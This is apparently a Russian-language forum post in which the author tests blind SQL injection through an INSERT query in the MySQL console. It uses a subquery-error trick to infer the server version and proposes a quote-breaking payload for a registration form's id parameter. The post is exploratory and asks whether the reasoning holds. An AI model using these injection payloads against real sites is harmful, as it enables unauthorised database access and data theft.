игрался с консолью мускула)
может и было где то но я узнал что при иньекции в инсерте можно сделать блинд и выполнять запросы))хочу проверить прав или нет?)
имеем таблица users
mysql> select * from users;
+-------+-------------------+
| U_ID | U_PASSWORD |
+-------+-------------------+
| admin | thankyou444 |
+-------+-------------------+
теперь представим регистрацию на сайте) естественно будет больше колонок но не суть важно)
смысл: INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ($_GET['id'],$_GET['pass']);
допустим
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1','2');
Query OK, 1 row affected (0.00 sec)
как и должно быть

мы же можем изменять параметры id и pass
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(1=1,1,(select 1 union select 2)));
Query OK, 1 row affected (0.02 sec)
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(1=2,1,(select 1 unio
n select 2)));
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(substring(version(),
1,1)=4,1,(select 1 union select 2)));
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(substring(version(),
1,1)=5,1,(select 1 union select 2)));
Query OK, 1 row affected (0.00 sec)
но как я понимаю должно быть так INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('$_POST['id']','$_POST['pass']');
тогда получится так
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1','if(substring(version()
,1,1)=5,1,(select 1 union select 2))');
и
mysql> select * from users;
+-------+------------------------------------------------------------+
| U_ID | U_PASSWORD |
+-------+------------------------------------------------------------+
| joker | thankyou444 |
| 1 | if(substring(version(),1,1)=5,1,(select 1 union select 2)) |
+-------+------------------------------------------------------------
выход (наверна):
$_GET['id']=1',if(1=1,1,2)/* получится запрос
INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(1=1,1,2)/*','')
и он выполнится)
естественно все прокатит при определенных фазах луны, выключенных магик_квотес и т.д.)
прав я или нет?)